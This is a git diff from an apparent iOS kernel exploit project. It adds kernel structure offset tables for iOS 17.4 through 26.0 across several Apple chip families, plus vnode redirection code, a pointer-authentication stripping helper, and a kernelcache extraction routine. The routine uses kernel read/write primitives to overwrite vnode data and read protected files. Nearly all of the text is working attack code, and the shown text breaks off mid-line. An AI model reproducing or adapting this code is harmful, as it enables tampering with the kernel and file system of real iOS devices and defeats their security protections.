if(isA17Above) { + off_thread_t_tro = 0x3d0; + off_thread_ctid = 0x480; + off_thread_mutex_lck_mtx_data = 0x3f8+8; + off_thread_guard_exc_info_code = 0x380; + off_thread_ast = 0x3F4; + off_thread_task_threads_next = 0x3c0; + } + + if(isA10) { + off_thread_t_tro = 0x398; + off_thread_ctid = 0x448; + off_thread_mutex_lck_mtx_data = 0x3c0+8; + off_thread_guard_exc_info_code = 0x348; + off_thread_ast = 0x3BC; + off_thread_task_threads_next = 0x388; + } + } + // iOS 17.4-17.7 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.4")) { + off_socket_so_usecount = 0x254; + off_socket_so_proto = 0x20; + off_socket_so_background_thread = 0x2b0; + off_thread_ro_tro_proc = 0x18; + off_thread_ro_tro_task = 0x28; + off_proc_p_name = 0x57d; + off_thread_t_tro = 0x370; + off_thread_ctid = 0x420; + off_thread_mutex_lck_mtx_data = 0x398+8; + off_thread_guard_exc_info_code = 0x320; + off_thread_ast = 0x394; + off_thread_task_threads_next = 0x360; + + if(isA13Above) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3a8+8; + off_thread_guard_exc_info_code = 0x330; + off_thread_ast = 0x3a4; + off_thread_task_threads_next = 0x370; + } + + if(isA15Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3b0+8; + off_thread_guard_exc_info_code = 0x338; + off_thread_ast = 0x3ac; + off_thread_task_threads_next = 0x378; + } + + if(isA17Above) { + off_thread_t_tro = 0x3d8; + off_thread_ctid = 0x488; + off_thread_mutex_lck_mtx_data = 0x400+8; + off_thread_guard_exc_info_code = 0x388; + off_thread_ast = 0x3fc; + off_thread_task_threads_next = 0x3c8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x4a0; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_guard_exc_info_code = 0x390; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3D0; + off_task_task_exc_guard = 0x5DC; + } + + if(isA10) { + off_thread_t_tro = 0x3a0; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3c8+8; + off_thread_guard_exc_info_code = 0x350; + off_thread_ast = 0x3c4; + off_thread_task_threads_next = 0x390; + } + } + + // iOS 18.0.x + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.0")) { + off_inpcb_inp_list_le_next = 0x20; //18.0-18.7 + off_inpcb_inp_pcbinfo = 0x38; //18.0-18.7 + off_inpcb_inp_socket = 0x40; //18.0-18.7 + off_inpcb_inp_depend6_inp6_icmp6filt = 0x148; //18.0-18.7 + off_inpcb_inp_depend6_inp6_chksum = 0x150; //18.0-18.7 + off_inpcbinfo_ipi_zone = 0x68; //18.0-18.7 + off_socket_so_usecount = 0x254; //18.0-18.7 + off_socket_so_proto = 0x20; //18.0-18.7 + off_socket_so_background_thread = 0x2b0; //18.0-18.7 + off_kalloc_type_view_kt_zv_zv_name = 0x10; //18.0-18.7 + off_thread_ro_tro_proc = 0x18; //18.0-18.7 + off_thread_ro_tro_task = 0x28; //18.0-18.7 + off_thread_machine_upcb = 0xb8; //different PER DEVICES; A12+, A17+, A10 + off_thread_machine_contextdata = 0xb8-8; //different PER DEVICES; A12+, A17+, A10 + off_thread_t_tro = 0x378; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_ctid = 0x428; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_options = 0x70; //different PER DEVICES; A12+, A17+, A10 + off_thread_mutex_lck_mtx_data = 0x3a0+8; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_machine_kstackptr = 0xF0; //different PER DEVICES; A12, A13+, A17+, A10 + off_thread_machine_jop_pid = 0x160; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_machine_rop_pid = 0x160-8; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_guard_exc_info_code = 0x320; //different PER DEVICES; A12, A13+, A15, A17, A18, A10 + off_thread_ast = 0x39C; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_thread_task_threads_next = 0x368; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10 + off_proc_p_list_le_next = 0x0; //18.0-18.7 + off_proc_p_list_le_prev = 0x8; //18.0-18.7 + off_proc_p_proc_ro = 0x18; //18.0-18.7 + off_proc_p_pid = 0x60; //18.0-18.7 + off_proc_p_fd = 0xd0; //18.0-18.7 + off_proc_p_flag = 0x454; //18.0-18.7 + off_proc_p_textvp = 0x548; //18.0-18.7 + off_proc_p_name = 0x57d; //18.0-18.7 + off_proc_ro_pr_task = 0x8; //18.0-18.7 + off_proc_ro_p_ucred = 0x20; //18.0-18.3.x + off_ucred_cr_label = 0x78; //18.0-18.7 + off_task_itk_space = 0x318; //18.0-18.7; same PER DEVICES; + off_task_threads_next = 0x50; //18.0-18.7 + off_task_task_exc_guard = 0x5dc; //different PER DEVICES; A12, A15+, A18, A10 + off_task_map = 0x28; //18.0-18.7 + off_filedesc_fd_ofiles = 0x28; //18.0-18.7 + off_filedesc_fd_cdir = 0x48; //18.0-18.7 + off_fileproc_fp_glob = 0x10; //18.0-18.7 + off_fileglob_fg_data = 0x38; //18.0-18.7 + off_fileglob_fg_flag = 0x10; //18.0-18.7 + off_vnode_v_ncchildren_tqh_first = 0x30; //18.0-18.7 + off_vnode_v_nclinks_lh_first = 0x40; //18.0-18.7 + off_vnode_v_parent = 0xc0; //18.0-18.7 + off_vnode_v_data = 0xe0; //18.0-18.7 + off_vnode_v_name = 0xb8; //18.0-18.7 + off_vnode_v_usecount = 0x60; //18.0-18.7 + off_vnode_v_iocount = 0x64; //18.0-18.7 + off_vnode_v_writecount = 0xb0; //18.0-18.7 + off_vnode_v_flag = 0x54; //18.0-18.7 + off_vnode_v_mount = 0xd8; //18.0-18.7 + off_mount_mnt_flag = 0x70; //18.0-18.7 + off_namecache_nc_vp = 0x50; //18.0-18.7 + off_namecache_nc_child_tqe_next = 0x10; //18.0-18.7 + off_arm_saved_state64_lr = 0xf0; //18.0-18.7 + off_arm_saved_state64_pc = 0x100; //18.0-18.7 + off_arm_saved_state_uss_ss_64 = 0x8; //18.0-18.7 + off_ipc_space_is_table = 0x20; //18.0-18.7 + off_ipc_entry_ie_object = 0; //18.0-18.7 + off_ipc_port_ip_kobject = 0x48; //18.0-18.7 + off_arm_kernel_saved_state_sp = 0x60; //18.0-18.7 + off_vm_map_hdr = 0x10; //18.0-18.7 + off_vm_map_header_nentries = 0x20; //18.0-18.7 + off_vm_map_entry_links_next = 0x8; //18.0-18.7 + off_vm_map_entry_vme_object_or_delta = 0x3c; //18.0-18.7 + off_vm_map_entry_vme_alias = 0x40; //18.0-18.7 + off_vm_map_header_links_next = 0x8; //18.0-18.7 + off_vm_object_vo_un1_vou_size = 0x18; //18.0-18.7 + off_vm_object_ref_count = 0x28; //18.0-18.7 + off_vm_named_entry_backing_copy = 0x10; //18.0-18.7 + off_vm_named_entry_size = 0x20; //18.0-18.7 + off_label_l_perpolicy_amfi = 0x8; //18.0-18.7 + off_label_l_perpolicy_sandbox = 0x10; //18.0-18.7 + + if(isA13Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3B0+8; + off_thread_machine_kstackptr = 0xF8; + off_thread_machine_jop_pid = 0x168; + off_thread_machine_rop_pid = 0x168-8; + off_thread_guard_exc_info_code = 0x330; + off_thread_ast = 0x3ac; + off_thread_task_threads_next = 0x378; + } + + if(isA15Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x440; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_machine_jop_pid = 0x170; + off_thread_machine_rop_pid = 0x170-8; + off_thread_guard_exc_info_code = 0x338; + off_thread_ast = 0x3b4; + off_thread_task_threads_next = 0x380; + off_task_task_exc_guard = 0x5f4; + } + + if(isA17Above) { + off_thread_machine_upcb = 0x108; + off_thread_machine_contextdata = 0x108-8; + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x490; + off_thread_options = 0xC0; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_machine_jop_pid = 0x1c0; + off_thread_machine_rop_pid = 0x1c0-8; + off_thread_machine_kstackptr = 0x148; + off_thread_guard_exc_info_code = 0x388; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3d0; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E8; + off_thread_ctid = 0x4A8; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_guard_exc_info_code = 0x390; + off_thread_ast = 0x40C; + off_thread_task_threads_next = 0x3d8; + off_task_task_exc_guard = 0x5fc; + } + + if(isA10) { + off_thread_machine_upcb = 0x100; + off_thread_machine_contextdata = 0x100-8; + off_thread_t_tro = 0x3A8; + off_thread_ctid = 0x458; + off_thread_options = 0xb8; + off_thread_mutex_lck_mtx_data = 0x3d0+8; + off_thread_machine_kstackptr = 0x138; + off_thread_guard_exc_info_code = 0x350; + off_thread_ast = 0x3cc; + off_thread_task_threads_next = 0x398; + off_task_task_exc_guard = 0x5c4; + } + } + // iOS 18.1-18.3 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.1")) { + off_thread_t_tro = 0x370; + off_thread_ctid = 0x420; + off_thread_mutex_lck_mtx_data = 0x398+8; + off_thread_ast = 0x394; + off_thread_task_threads_next = 0x360; + + if(isA13Above) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3A8+8; + off_thread_ast = 0x3A4; + off_thread_task_threads_next = 0x370; + } + + if(isA15Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3B0+8; + off_thread_ast = 0x3AC; + off_thread_task_threads_next = 0x378; + } + + if(isA17Above) { + off_thread_t_tro = 0x3D8; + off_thread_ctid = 0x488; + off_thread_mutex_lck_mtx_data = 0x400+8; + off_thread_ast = 0x3FC; + off_thread_task_threads_next = 0x3C8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x4A0; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3D0; + } + + if(isA10) { + off_thread_t_tro = 0x3A0; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3C8+8; + off_thread_ast = 0x3C4; + off_thread_task_threads_next = 0x390; + } + } + + // iOS 18.4-18.5 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.4")) { + off_thread_guard_exc_info_code = 0xdeaddead; //no more exist, renamed to mach_exc_info.code + off_proc_ro_p_ucred = 0x28; //18.4-18.7 + + off_thread_t_tro = 0x378; + off_thread_ctid = 0x428; + off_thread_mutex_lck_mtx_data = 0x3A0+8; + off_thread_mach_exc_info_code = 0x328; //newly added + off_thread_mach_exc_info_os_reason = 0x328-8; //newly added + off_thread_mach_exc_info_exception_type = 0x328-4; //newly added + off_thread_ast = 0x39C; + off_thread_task_threads_next = 0x368; + off_task_task_exc_guard = 0x5FC; + + if(isA13Above) { + off_thread_t_tro = 0x388; + off_thread_ctid = 0x438; + off_thread_mutex_lck_mtx_data = 0x3B0+8; + off_thread_mach_exc_info_code = 0x338; + off_thread_mach_exc_info_os_reason = 0x338-8; + off_thread_mach_exc_info_exception_type = 0x338-4; + off_thread_ast = 0x3AC; + off_thread_task_threads_next = 0x378; + } + + if(isA15Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x448; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_mach_exc_info_code = 0x340; + off_thread_mach_exc_info_os_reason = 0x340-8; + off_thread_mach_exc_info_exception_type = 0x340-4; + off_thread_ast = 0x3B4; + off_thread_task_threads_next = 0x380; + off_task_task_exc_guard = 0x624; + } + + if(isA17Above) { + off_thread_t_tro = 0x3E0; + off_thread_ctid = 0x498; + off_thread_mutex_lck_mtx_data = 0x408+8; + off_thread_mach_exc_info_code = 0x390; + off_thread_mach_exc_info_os_reason = 0x390-8; + off_thread_mach_exc_info_exception_type = 0x390-4; + off_thread_ast = 0x404; + off_thread_task_threads_next = 0x3D0; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3E8; + off_thread_ctid = 0x4A8; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_mach_exc_info_code = 0x398; + off_thread_mach_exc_info_os_reason = 0x398-8; + off_thread_mach_exc_info_exception_type = 0x398-4; + off_thread_ast = 0x40C; + off_thread_task_threads_next = 0x3D8; + } + + if(isA10) { + off_thread_t_tro = 0x3A8; + off_thread_ctid = 0x458; + off_thread_mutex_lck_mtx_data = 0x3D0+8; + off_thread_mach_exc_info_code = 0x358; + off_thread_ast = 0x3CC; + off_thread_task_threads_next = 0x398; + off_task_task_exc_guard = 0x5E4; + } + } + + // iOS 18.6-18.7 + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.6")) { + off_thread_t_tro = 0x380; + off_thread_ctid = 0x430; + off_thread_mutex_lck_mtx_data = 0x3a8+8; + off_thread_mach_exc_info_code = 0x330; + off_thread_mach_exc_info_os_reason = 0x330-8; + off_thread_mach_exc_info_exception_type = 0x330-4; + off_thread_ast = 0x3A4; + off_thread_task_threads_next = 0x370; + + if(isA13Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x440; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_mach_exc_info_code = 0x340; + off_thread_mach_exc_info_os_reason = 0x340-8; + off_thread_mach_exc_info_exception_type = 0x340-4; + off_thread_ast = 0x3B4; + off_thread_task_threads_next = 0x380; + } + + if(isA15Above) { + off_thread_t_tro = 0x398; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3c0+8; + off_thread_mach_exc_info_code = 0x348; + off_thread_mach_exc_info_os_reason = 0x348-8; + off_thread_mach_exc_info_exception_type = 0x348-4; + off_thread_ast = 0x3bc; + off_thread_task_threads_next = 0x388; + } + + if(isA17Above) { + off_thread_t_tro = 0x3E8; + off_thread_ctid = 0x4a0; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_mach_exc_info_code = 0x398; + off_thread_mach_exc_info_os_reason = 0x398-8; + off_thread_mach_exc_info_exception_type = 0x398-4; + off_thread_ast = 0x40C; + off_thread_task_threads_next = 0x3D8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3F0; + off_thread_ctid = 0x4b0; + off_thread_mutex_lck_mtx_data = 0x418+8; + off_thread_mach_exc_info_code = 0x3a0; + off_thread_mach_exc_info_os_reason = 0x3a0-8; + off_thread_mach_exc_info_exception_type = 0x3a0-4; + off_thread_ast = 0x414; + off_thread_task_threads_next = 0x3E0; + } + + if(isA10) { + // same with iOS 18.4-18.5 + } + } + + // iOS 26.0.x + if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"26.0")) { + off_inpcb_inp_list_le_next = 0x20; + off_inpcb_inp_pcbinfo = 0x38; + off_inpcb_inp_socket = 0x40; + off_inpcb_inp_depend6_inp6_icmp6filt = 0x148; + off_inpcb_inp_depend6_inp6_chksum = 0x150; + off_inpcbinfo_ipi_zone = 0x68; + off_socket_so_usecount = 0x23c; + off_socket_so_proto = 0x20; + off_socket_so_background_thread = 0x298; + off_kalloc_type_view_kt_zv_zv_name = 0x10; + off_thread_ro_tro_proc = 0x18; + off_thread_ro_tro_task = 0x28; + off_thread_machine_upcb = 0xb8; //different PER DEVICES; A12+, A17+&M3+ + off_thread_machine_contextdata = 0xb8-8; //different PER DEVICES; A12+, A17+&M3+ + off_thread_t_tro = 0x390; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_ctid = 0x430; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_options = 0x70; //different PER DEVICES; A12+, A17+&M3+ + off_thread_mutex_lck_mtx_data = 0x3A8+8; //different PER DEVICES; A12, A13+, A15+, A17+&M3, A18&M4 + off_thread_machine_kstackptr = 0xf0; //different PER DEVICES; A12, A13+, A17+&M3+ + off_thread_machine_jop_pid = 0x160; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_machine_rop_pid = 0x160-8; //different PER DEVICES; A12, A13+, A15+, A17+ + off_thread_guard_exc_info_code = 0xdeaddead; //has been renamed to off_thread_mach_exc_info_code + off_thread_mach_exc_info_code = 0x330; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_mach_exc_info_os_reason = 0x330-8; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_mach_exc_info_exception_type = 0x330-4; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_ast = 0x3A4; //different PER DEVICES; A12, A13+, A15+, A17&M3, A18&M4 + off_thread_task_threads_next = 0x370; //different PER DEVICES; A12, A13+, A15+, A17/M3, A18&M4 + off_proc_p_list_le_next = 0x0; + off_proc_p_list_le_prev = 0x8; + off_proc_p_proc_ro = 0x18; + off_proc_p_pid = 0x60; + off_proc_p_fd = 0xd0; + off_proc_p_flag = 0x454; + off_proc_p_textvp = 0x548; + off_proc_p_name = 0x57D; + off_proc_ro_pr_task = 0x8; + off_proc_ro_p_ucred = 0x28; + off_ucred_cr_label = 0x78; + off_task_itk_space = 0x310; //same PER DEVICES; + off_task_threads_next = 0x50; + off_task_task_exc_guard = 0x5d4; //different PER DEVICES; A12+, A15+&M3, A18&M4 + off_task_map = 0x28; + off_filedesc_fd_ofiles = 0x28; + off_filedesc_fd_cdir = 0x48; + off_fileproc_fp_glob = 0x10; + off_fileglob_fg_data = 0x38; + off_fileglob_fg_flag = 0x10; + off_vnode_v_ncchildren_tqh_first = 0x30; + off_vnode_v_nclinks_lh_first = 0x40; + off_vnode_v_parent = 0xc0; + off_vnode_v_data = 0xe0; + off_vnode_v_name = 0xb8; + off_vnode_v_usecount = 0x60; + off_vnode_v_iocount = 0x64; + off_vnode_v_writecount = 0xb0; + off_vnode_v_flag = 0x54; + off_vnode_v_mount = 0xd8; + off_mount_mnt_flag = 0x70; + off_namecache_nc_vp = 0x50; + off_namecache_nc_child_tqe_next = 0x10; + off_arm_saved_state64_lr = 0xf0; + off_arm_saved_state64_pc = 0x100; + off_arm_saved_state_uss_ss_64 = 0x8; + off_ipc_space_is_table = 0x48; + off_ipc_entry_ie_object = 0; + off_ipc_port_ip_kobject = 0x50; + off_arm_kernel_saved_state_sp = 0x60; + off_vm_map_hdr = 0x10; + off_vm_map_header_nentries = 0x20; + off_vm_map_entry_links_next = 0x8; + off_vm_map_entry_vme_object_or_delta = 0x3c; + off_vm_map_entry_vme_alias = 0x40; + off_vm_map_header_links_next = 0x8; + off_vm_object_vo_un1_vou_size = 0x18; + off_vm_object_ref_count = 0x28; + off_vm_named_entry_backing_copy = 0x10; + off_vm_named_entry_size = 0x20; + off_label_l_perpolicy_amfi = 0x8; + off_label_l_perpolicy_sandbox = 0x10; + + if(isA13Above) { + off_thread_t_tro = 0x390; + off_thread_ctid = 0x440; + off_thread_mutex_lck_mtx_data = 0x3B8+8; + off_thread_machine_kstackptr = 0xf8; + off_thread_machine_jop_pid = 0x168; + off_thread_machine_rop_pid = 0x168-8; + off_thread_mach_exc_info_code = 0x340; + off_thread_mach_exc_info_os_reason = 0x340-8; + off_thread_mach_exc_info_exception_type = 0x340-4; + off_thread_ast = 0x3b4; + off_thread_task_threads_next = 0x380; + } + + if(isA15Above) { + off_thread_t_tro = 0x398; + off_thread_ctid = 0x450; + off_thread_mutex_lck_mtx_data = 0x3C0+8; + off_thread_machine_jop_pid = 0x170; + off_thread_machine_rop_pid = 0x170-8; + off_thread_mach_exc_info_code = 0x348; + off_thread_mach_exc_info_os_reason = 0x348-8; + off_thread_mach_exc_info_exception_type = 0x348-4; + off_thread_ast = 0x3BC; + off_thread_task_threads_next = 0x388; + off_task_task_exc_guard = 0x5fc; + } + + if(isA17Above) { + off_thread_machine_upcb = 0x108; + off_thread_machine_contextdata = 0x108-8; + off_thread_t_tro = 0x3e8; + off_thread_ctid = 0x4a0; + off_thread_options = 0xc0; + off_thread_mutex_lck_mtx_data = 0x410+8; + off_thread_machine_kstackptr = 0x148; + off_thread_machine_jop_pid = 0x1c0; + off_thread_machine_rop_pid = 0x1c0-8; + off_thread_mach_exc_info_code = 0x398; + off_thread_mach_exc_info_os_reason = 0x398-8; + off_thread_mach_exc_info_exception_type = 0x398-4; + off_thread_ast = 0x40c; + off_thread_task_threads_next = 0x3d8; + } + + if(gIsA18Above) { + off_thread_t_tro = 0x3f0; + off_thread_ctid = 0x4b0; + off_thread_mutex_lck_mtx_data = 0x418+8; + off_thread_mach_exc_info_code = 0x3a0; + off_thread_mach_exc_info_os_reason = 0x3a0-8; + off_thread_mach_exc_info_exception_type = 0x3a0-4; + off_thread_ast = 0x414; + off_thread_task_threads_next = 0x3e0; + off_task_task_exc_guard = 0x604; + } + } + + pac_mask = ~((1ULL << (64 - t1sz_boot)) - 1ULL); +} diff --git a/kexploit/vnode.h b/kexploit/vnode.h new file mode 100644 index 0000000..3946f6e --- /dev/null +++ b/kexploit/vnode.h @@ -0,0 +1,26 @@ +// +// vnode.h +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#ifndef vnode_h +#define vnode_h + +#include +#include +#include + +uint64_t get_vnode_for_path_by_chdir(const char *path); +uint64_t get_vnode_for_path_by_open(const char *path); +uint64_t get_vnode_by_fd(int fd); +uint64_t vnode_redirect_folder(const char *to, const char *from); +bool vnode_unredirect_folder(const char *folder, uint64_t orig_to_v_data); +bool vnode_redirect_file(const char *to, const char *from, uint64_t* orig_to_vnode, uint64_t* orig_to_v_data); +bool vnode_unredirect_file(uint64_t orig_to_vnode, uint64_t orig_to_v_data); +char* vnode_get_v_name(uint64_t vnode); +uint64_t get_rootvnode(void); +uint64_t vnode_get_child_vnode(uint64_t vnode, const char* child_filename, uint64_t blacklist_vdata); + +#endif /* vnode_h */ diff --git a/kexploit/vnode.m b/kexploit/vnode.m new file mode 100644 index 0000000..b139028 --- /dev/null +++ b/kexploit/vnode.m @@ -0,0 +1,158 @@ +// +// vnode.m +// darksword-kexploit-fun +// +// Created by seo on 3/25/26. +// + +#import "vnode.h" +#import "krw.h" +#import "kutils.h" +#import "offsets.h" +#import "xpaci.h" + +#import +#import +#import +#import +#import +#import + +uint64_t get_vnode_for_path_by_chdir(const char *path) { + if (access(path, F_OK) == -1) { + return -1; + } + if (chdir(path) == -1) { return -1; } + + uint64_t fd_cdir_vp = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_cdir); + chdir("/"); + return fd_cdir_vp; +} + +uint64_t get_vnode_for_path_by_open(const char *path) { + int fd = open(path, O_RDONLY); + if (fd == -1) return -1; + + uint64_t fileprocPtrArr = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd)); + uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob); + fp_glob = xpaci(fp_glob); + uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data); + vnode = xpaci(vnode); + + close(fd); + return vnode; +} + +uint64_t get_vnode_by_fd(int fd) { + uint64_t fileprocPtrArr = kread64(proc_self() + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd)); + uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob); + fp_glob = xpaci(fp_glob); + uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data); + vnode = xpaci(vnode); + return vnode; +} + +uint64_t get_rootvnode(void) { + uint64_t launchd_proc = proc_find(1); + uint64_t launchd_vnode = kread64(launchd_proc + off_proc_p_textvp); + launchd_vnode = xpaci(launchd_vnode); + + uint64_t sbin_vnode = kread64(launchd_vnode + off_vnode_v_parent); + sbin_vnode = xpaci(sbin_vnode); + + uint64_t root_vnode = kread64(sbin_vnode + off_vnode_v_parent); + root_vnode = xpaci(root_vnode); + + return root_vnode; +} + +char vp_name[256]; +char* vnode_get_v_name(uint64_t vnode) { + memset(vp_name, 0, 256); + uint64_t vp_nameptr = kread64(vnode + off_vnode_v_name); + kreadbuf(vp_nameptr, &vp_name, 256); + return vp_name; +} + +uint64_t vnode_redirect_folder(const char *to, const char *from) { + uint64_t to_vnode = get_vnode_for_path_by_chdir(to); + uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data); + uint64_t from_vnode = get_vnode_for_path_by_chdir(from); + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return orig_to_v_data; +} + +bool vnode_unredirect_folder(const char *folder, uint64_t orig_to_v_data) { + uint64_t vnode = get_vnode_for_path_by_chdir(folder); + if (vnode == -1) return false; + + kwrite64(vnode + off_vnode_v_data, orig_to_v_data); + + return true; +} + +bool vnode_redirect_file(const char *to, const char *from, uint64_t* orig_to_vnode, uint64_t* orig_to_v_data) { + uint64_t to_vnode = get_vnode_for_path_by_open(to); + if(to_vnode == -1) { + NSString *to_dir = [[NSString stringWithUTF8String:to] stringByDeletingLastPathComponent]; + NSString *to_file = [[NSString stringWithUTF8String:to] lastPathComponent]; + uint64_t to_dir_vnode = get_vnode_for_path_by_chdir(to_dir.UTF8String); + to_vnode = vnode_get_child_vnode(to_dir_vnode, to_file.UTF8String, 0); + if(to_vnode == -1) { + printf("[-] Couldn't find file (to): %s", to); + return false; + } + } + + uint64_t from_vnode = get_vnode_for_path_by_open(from); + if(from_vnode == -1) { + NSString *from_dir = [[NSString stringWithUTF8String:from] stringByDeletingLastPathComponent]; + NSString *from_file = [[NSString stringWithUTF8String:from] lastPathComponent]; + uint64_t from_dir_vnode = get_vnode_for_path_by_chdir(from_dir.UTF8String); + from_vnode = vnode_get_child_vnode(from_dir_vnode, from_file.UTF8String, 0); + if(from_vnode == 0) { + printf("[-] Couldn't find file (from): %s", from); + return false; + } + } + + *orig_to_vnode = to_vnode; + *orig_to_v_data = kread64(to_vnode + off_vnode_v_data); + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return true; +} + +bool vnode_unredirect_file(uint64_t orig_to_vnode, uint64_t orig_to_v_data) { + kwrite64(orig_to_vnode + off_vnode_v_data, orig_to_v_data); + + return true; +} + +uint64_t vnode_get_child_vnode(uint64_t vnode, const char* child_filename, uint64_t blacklist_vdata) { + uint64_t vp_namecache = kread64(vnode + off_vnode_v_ncchildren_tqh_first); + if(vp_namecache == 0) return -1; + + while(1) { + if(vp_namecache == 0) break; + vnode = kread64(vp_namecache + off_namecache_nc_vp); + + if(vnode == 0) break; + char* vp_name = vnode_get_v_name(vnode); + + if(strcmp(vp_name, child_filename) == 0 && kread64(vnode + off_vnode_v_data) != blacklist_vdata) { + return vnode; + } + vp_namecache = kread64(vp_namecache + off_namecache_nc_child_tqe_next); + } + + return -1; +} diff --git a/kexploit/xpaci.h b/kexploit/xpaci.h new file mode 100644 index 0000000..d04c04a --- /dev/null +++ b/kexploit/xpaci.h @@ -0,0 +1,23 @@ +// ptrauth.h replacement +#include + +extern bool gIsPACSupported; + +static uint64_t __attribute((naked)) __xpaci(uint64_t a) +{ + asm(".long 0xDAC143E0"); // XPACI X0 + asm("ret"); +} + +static uint64_t xpaci(uint64_t a) +{ + if(!gIsPACSupported) return a; + + // If a looks like a non-pac'd pointer just return it + if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000) + { + return a; + } + + return __xpaci(a); +} diff --git a/kpf/patchfinder.h b/kpf/patchfinder.h new file mode 100644 index 0000000..ecd1ed7 --- /dev/null +++ b/kpf/patchfinder.h @@ -0,0 +1,16 @@ +// +// patchfinder.h +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#ifndef patchfinder_h +#define patchfinder_h + +#include + +int grab_kernelcache(void); +int init_xpf(void); + +#endif /* patchfinder_h */ diff --git a/kpf/patchfinder.m b/kpf/patchfinder.m new file mode 100644 index 0000000..10d59f4 --- /dev/null +++ b/kpf/patchfinder.m @@ -0,0 +1,157 @@ +// +// patchfinder.m +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#import +#import +#import + +#import "patchfinder.h" +#import "../kexploit/krw.h" +#import "../kexploit/vnode.h" +#import "../kexploit/kutils.h" +#import "../kexploit/offsets.h" +#import "../utils/hexdump.h" + +bool is_kernelcache_valid(NSString* kc) { + NSFileHandle *handle = [NSFileHandle fileHandleForReadingAtPath:kc]; + NSData *data = [handle readDataOfLength:2]; + [handle closeFile]; + + if (data.length == 2) { + const uint8_t *bytes = data.bytes; + if (bytes[0] == 0x30 && bytes[1] == 0x84) { + return true; + } + } + return false; +} + +int grab_kernelcache(void) +{ + NSString *kc_path = [NSString stringWithFormat:@"/private/preboot/%s%@", get_bootManifestHash(), @"/System/Library/Caches/com.apple.kernelcaches/kernelcache"]; + NSString *kc_copysrc_path = @"/private/preboot/Cryptexes/OS/System/Library/CoreServices/RestoreVersion.plist"; // will temporary replaced with kernelcache data by modifying vnode->v_data + NSString *kc_copydst_path = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/kc"]; + + unlink(kc_copydst_path.UTF8String); + + int kc_copysrc_fd = open(kc_copysrc_path.UTF8String, O_RDONLY); + int kc_copydst_fd = open(kc_copydst_path.UTF8String, O_WRONLY | O_CREAT | O_TRUNC, 0644); + + uint64_t 